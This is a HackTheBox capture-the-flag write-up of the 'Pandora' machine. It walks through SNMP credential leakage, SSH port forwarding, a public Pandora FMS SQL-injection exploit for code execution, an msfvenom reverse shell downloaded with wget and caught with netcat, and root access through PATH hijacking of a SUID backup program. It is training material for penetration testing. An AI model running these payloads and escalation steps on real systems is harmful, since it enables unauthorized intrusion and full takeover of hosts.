Hi everyone! Today’s write-up is on Pandora, an easy GNU/Linux machine released on 10th January 2022. I won’t say the machine is easy if you are those who build the SQL injection exploit from scratch. Someone actually build the PoC exploit for an old CVE recently for this HackTheBox challenge so I leached on it. This machine is a good practice for OSCP especially since the foothold of this machine is similar to a retired OSCP exam machine. When I am writing this article, it is not in TJ Null’s OSCP list yet. Maybe it will be added in the future.

To give you a brief overview of this machine, this machine requires enumerating of the SNMP service, pivoting or port forwarding, finding an SQL vulnerability in an internal website, crafting your own SQL injection exploit or using an existing exploit created by someone for this challenge, escape seteuid() privilege escalation restriction due to old version of libapache2-mpm-itk used by the Apache2 service in the machine, and finally privilege escalation using path hijacking of a SUID program. Let’s get started!

Nmap enumeration

kali@kali~$ IP=10.10.11.136
kali@kali~$ sudo nmap -n -p- $IP
...
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

kali@kali~$ sudo nmap -sC -sV -p22,80 $IP
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SNMP enumeration

kali@kali~$ snmp-check $IP
...
[*] Processes:

  Id                    Status                Name                  Path                  Parameters
...
845                   runnable              sh                    /bin/sh               -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'

Via the SNMP service, we are able to find credentials placed on the command line in one of the processes.

SSH into the machine

As we have the credential, we can try to SSH into the machine since SSH service is available.

kali@kali~$ ssh daniel@$IP
The authenticity of host '10.10.11.136 (10.10.11.136)' can't be established.
ECDSA key fingerprint is SHA256:9urFJN3aRYRRc9S5Zc+py/w4W6hmZ+WLg6CyrY+5MDI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.136' (ECDSA) to the list of known hosts.
daniel@10.10.11.136's password: HotelBabylon23
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 30 Jan 08:32:05 UTC 2022

  System load:  0.0               Processes:             444
  Usage of /:   72.3% of 4.87GB   Users logged in:       1
  Memory usage: 23%               IPv4 address for eth0: 10.10.11.136
  Swap usage:   0%

  => /boot is using 91.8% of 219MB


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

daniel@pandora:~$ 

Access matt’s account

If we look at matt’s home directory, we can see the user flag file is there but is only readable by root or matt’s account.

daniel@pandora:~$ ls /home
daniel  matt
daniel@pandora:~$ ls -l /home/matt/
-rw-r----- 1 root matt 33 Jan 30 08:44 user.txt

Discovering localhost web service

Checking out the /var/www folder, I see another directory called “pandora” while the “html” folder contains the not interesting public-facing website which we already saw the service on Nmap enumeration. This can be further verified by seeing the configuration file.

daniel@pandora:~$ cd /var/www
daniel@pandora:/var/www$ ls
html  pandora
daniel@pandora:/var/www$ ls /etc/apache2/sites-available/
000-default.conf  default-ssl.conf  pandora.conf
daniel@pandora:/var/www$ cat /etc/apache2/sites-available/pandora.conf 
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined
</VirtualHost>

We can see that it is only accessible via localhost. Besides that, the assigned user is matt.

Pivoting and accessing the internal website

We can use SSH port forwarding to do so.

kali@kali~$ ssh daniel@$IP -L 80:localhost:80
daniel@10.10.11.136's password: HotelBabylon23

This allows us to access the internal website.

The bottom of the website shows us that the website is running on version v7.0NG.742_FIX_PERL2020. A quick Google allows us to find vulnerabilities on the website here as well as unauthenticated SQL injection exploit here.

Remote Code Execution (RCE)

Firstly, we need to download the exploit recently done by someone. Of course you can choose to read the article and come up with your own exploit.

kali@kali~$ git clone https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated.git

Finally, we can run the exploit using Python3. We will receive a “shell” which is actually just Remote Code Execution (RCE).

kali@kali~$ cd Pandora_v7.0NG.742_exploit_unauthenticated
kali@kali:Pandora_v7.0NG.742_exploit_unauthenticated$ python3 sqlpwn.py -t localhost
URL:  http://localhost/pandora_console
[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : j8cgngqha6bemscvkv72iv2rfr
[+] Sending Payload 
[+] Respose : 200
[+] Pwned 🙂
[+] If you want manual Control : http://localhost/pandora_console/images/pwn.php?test=
CMD > whoami
matt

CMD > 

Understanding RCE Exploit (optional)

Following the OSCP way, we will need to obtain a reverse shell as RCE is not allowed. Hence, we first need to see what architecture is the machine using.

CMD > uname -a
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Since we now know it is a 64-bits machine, we can generate a reverse shell using msfvenom. Remember to change the LHOST to your own machine’s IP address. We can host an HTTP server so that the machine can download it from our Kali using wget. Not sure why port 22 doesn’t work. I guess the IP table must have restricted outbound traffic to only allow probably port 80 and 443.

kali@kali~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.49 LPORT=443 -f elf > shellx64.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
kali@kali~$ sudo python3 -m http.server 443
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ... 

Download it using the RCE “shell”. We must change its permission before executing it later.

CMD > wget http://10.10.14.49:443/shellx64.elf -O /tmp/shellx64.elf
CMD > chmod 755 /tmp/shellx64.elf

CMD > ls -l /tmp
total 8
-rwxr-xr-x 1 matt matt 194 Jan 30 16:56 shellx64.elf
-rwxrwxrwx 1 matt matt  10 Jan 30 13:00 tar

Close the HTTP server and use Netcat to listen for an incoming reverse shell connection.

kali@kali~$ nc -lvnp
listening on [any] 443 ...

Finally, we can execute the file using the “RCE” shell. Our Netcat should receive a shell. I made the shell TTY.

CMD > /tmp/shellx64.elf

kali@kali~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.11.136] 51122
python3 -c 'import pty; pty.spawn("/bin/bash")'
matt@pandora:/var/www/pandora/pandora_console/images$ 

Obtaining user flag

matt@pandora:/var/www/pandora/pandora_console/images$ cd /home/matt
matt@pandora:/home/matt$ ls
user.txt
matt@pandora:/home/matt$ cat user.txt
36f**************************

Privilege escalation

SUID

When searching for SUID programs, I notice an interesting SUID program related to the website’s name.

matt@pandora:/home/matt$ find / -perm /4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1

When I tried to run the file, I was greeted with an error message.

matt@pandora:/home/matt$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
Backup failed!
Check your permissions!

When I try to read the file content, I noticed a string with the full command of what the program is running.

matt@pandora:/home/matt$ hexdump -C /usr/bin/pandora_backup
...
00002000  01 00 02 00 00 00 00 00  50 61 6e 64 6f 72 61 46  |........PandoraF|
00002010  4d 53 20 42 61 63 6b 75  70 20 55 74 69 6c 69 74  |MS Backup Utilit|
00002020  79 00 00 00 00 00 00 00  4e 6f 77 20 61 74 74 65  |y.......Now atte|
00002030  6d 70 74 69 6e 67 20 74  6f 20 62 61 63 6b 75 70  |mpting to backup|
00002040  20 50 61 6e 64 6f 72 61  46 4d 53 20 63 6c 69 65  | PandoraFMS clie|
00002050  6e 74 00 00 00 00 00 00  74 61 72 20 2d 63 76 66  |nt......tar -cvf|
00002060  20 2f 72 6f 6f 74 2f 2e  62 61 63 6b 75 70 2f 70  | /root/.backup/p|
00002070  61 6e 64 6f 72 61 2d 62  61 63 6b 75 70 2e 74 61  |andora-backup.ta|
00002080  72 2e 67 7a 20 2f 76 61  72 2f 77 77 77 2f 70 61  |r.gz /var/www/pa|
00002090  6e 64 6f 72 61 2f 70 61  6e 64 6f 72 61 5f 63 6f  |ndora/pandora_co|
000020a0  6e 73 6f 6c 65 2f 2a 00  42 61 63 6b 75 70 20 66  |nsole/*.Backup f|
000020b0  61 69 6c 65 64 21 0a 43  68 65 63 6b 20 79 6f 75  |ailed!.Check you|
000020c0  72 20 70 65 72 6d 69 73  73 69 6f 6e 73 21 00 42  |r permissions!.B|
000020d0  61 63 6b 75 70 20 73 75  63 63 65 73 73 66 75 6c  |ackup successful|
000020e0  21 00 54 65 72 6d 69 6e  61 74 69 6e 67 20 70 72  |!.Terminating pr|
000020f0  6f 67 72 61 6d 21 00 00  01 1b 03 3b 3c 00 00 00  |ogram!.....;<...|
00002100  06 00 00 00 28 ef ff ff  88 00 00 00 88 ef ff ff  |....(...........|

Based on the command, tar is being executed but its full path is not stated. As a result, we can do a path hijacking.

Fixing seteuid()

While doing path hijacking, I stumble across an issue where /usr/bin/pandora_backup is not running as root. If we run “sudo -l” we will realized there is an error.

matt@pandora:/var/www/pandora/pandora_console/DEBIAN$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin

A quick Google allows me to find out an old package of libapache2-mpm-itk breaks syscall functions like seteuid(). You can see articles about them in this StackOverflow post and official bug report. Looking at the machine’s apache2 library, we can see it is using a late 2013 mpm-itk package that has this bug.

matt@pandora:/home/matt$ find / -name libapache2-mpm-itk 2>/dev/null
/usr/share/doc/libapache2-mpm-itk
matt@pandora:/home/matt$ ls /usr/share/doc/libapache2-mpm-itk
README.Debian  changelog.Debian.gz  copyright
matt@pandora:/home/matt$ cat /usr/share/doc/libapache2-mpm-itk/README*
mpm-itk for Debian
------------------

Note that mpm-itk has gone from being a true MPM to just being a module
that hooks into prefork. You can safely remove the old apache2-mpm-itk
package if you still have it installed.

 -- Steinar H. Gunderson <sesse@debian.org>  Thu, 07 Nov 2013 20:16:19 +0100

Thus, we can break out of the restricted environment using at command by copying and pasting the full command with arguments from GTFObins here.

matt@pandora:/home/matt$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
warning: commands will be executed using /bin/sh
job 4 at Mon Jan 31 03:13:00 2022
/bin/sh: 0: can't access tty; job control turned off
$ 

Path hijacking

In the SSH session in Daniel’s account, use nano to create a file in Daniel’s home directory. Somehow my reverse shell is having a hard time creating the exploit file. Thus, using the SSH session is easier.

dnaiel@pandora:~$ mkdir spoiler
daniel@pandora:~$ cd spoiler/
daniel@pandora:~/spoiler$ nano tar

In the tar file, I copy the bash file and make it SUID so that I don’t need another reverse shell which is troublesome.

#!/bin/bash

cp /bin/bash /home/matt/bash
chmod u+s /home/matt/bash

Once saved the file, change the permission to allow everyone to execute.

daniel@pandora:~/spoiler$ chmod 777 tar

Finally, change the environmental PATH to daniel’s home directory before executing it.

$ export PATH="/home/daniel/spoiler:$PATH"
$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
Backup successful!
Terminating program!
$ ls -l
total 1160
-rwsr-xr-x 1 root matt 1183448 Jan 31 03:15 bash
-rw-r----- 1 root matt      33 Jan 30 08:44 user.txt

Spawn root shell

Since bash’s owner is now root with SUID set, we can spawn it as root.

$ ./bash -p
bash: cannot set terminal process group (833): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0# id
uid=1000(matt) gid=1000(matt) euid=0(root) groups=1000(matt)
bash-5.0# 

Obtaining root flag

bash-5.0# cd /root
bash-5.0# ls    
root.txt
bash-5.0# cat root.txt
d94****************************

I hope these tabs have been helpful to you. Feel free to leave any comments below. If you like my content, do follow me via email. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂